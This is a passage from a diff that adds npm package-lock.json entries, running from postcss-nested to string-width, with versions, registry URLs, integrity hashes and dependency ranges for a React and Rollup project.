"sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==", + "dev": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dev": true, + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "dev": true + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.4.tgz", + "integrity": "sha512-ECkTw8TmJwW60lOTR+ZkODISW6RQ8+2CL3COqtiJKLd6MmB45hN51HprHFziKLGkAuTGQhBb91V8cy+KHlaCjw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "which-builtin-type": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "dev": true + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz", + "integrity": "sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "set-function-name": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/resolve": { + "version": "2.0.0-next.5", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz", + "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rollup": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.21.3.tgz", + "integrity": "sha512-7sqRtBNnEbcBtMeRVc6VRsJMmpI+JU1z9VTvW8D4gXIYQFz0aLcsE6rRkyghZkLfEgUZgVvOG7A5CVz/VW5GIA==", + "dev": true, + "dependencies": { + "@types/estree": "1.0.5" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.21.3", + "@rollup/rollup-android-arm64": "4.21.3", + "@rollup/rollup-darwin-arm64": "4.21.3", + "@rollup/rollup-darwin-x64": "4.21.3", + "@rollup/rollup-linux-arm-gnueabihf": "4.21.3", + "@rollup/rollup-linux-arm-musleabihf": "4.21.3", + "@rollup/rollup-linux-arm64-gnu": "4.21.3", + "@rollup/rollup-linux-arm64-musl": "4.21.3", + "@rollup/rollup-linux-powerpc64le-gnu": "4.21.3", + "@rollup/rollup-linux-riscv64-gnu": "4.21.3", + "@rollup/rollup-linux-s390x-gnu": "4.21.3", + "@rollup/rollup-linux-x64-gnu": "4.21.3", + "@rollup/rollup-linux-x64-musl": "4.21.3", + "@rollup/rollup-win32-arm64-msvc": "4.21.3", + "@rollup/rollup-win32-ia32-msvc": "4.21.3", + "@rollup/rollup-win32-x64-msvc": "4.21.3", + "fsevents": "~2.3.2" + } + }, + "node_modules/rrweb-cssom": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz", + "integrity": "sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==", + "dev": true + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rxjs": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", + "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", + "dev": true, + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-array-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.1.tgz", + "integrity": "sha512-6XbUAseYE2KtOuGueyeobCySj9L4+66Tn6KQMOPQJrAJEowYKW/YR/MGJZl7FdydUdaFu4LYyDZjxf4/Nmo23Q==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-regex-test": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz", + "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/sirv": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/sirv/-/sirv-2.0.3.tgz", + "integrity": "sha512-O9jm9BsID1P+0HOi81VpXPoDxYP374pkOLzACAoyUQ/3OUVndNpsz6wMnY2z+yOxzbllCKZrM+9QrWsv4THnyA==", + "dev": true, + "dependencies": { + "@polka/url": "^1.0.0-next.20", + "mrmime": "^1.0.0", + "totalist": "^3.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/spawn-command": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2.tgz", + "integrity": "sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ==", + "dev": true + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.6.0.tgz", + "integrity": "sha512-aFZ19IgVmhdB2uX599ve2kE6BIE3YMnQ6Gp6BURhW/oIzpXGKr878TQfAQZn1+i0Flcc/UKUy1gOlcfaUBCryg==", + "dev": true + }, + "node_modules/stop-iteration-iterator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", + "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==", + "dev": true, + "dependencies": { + "internal-slot": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": 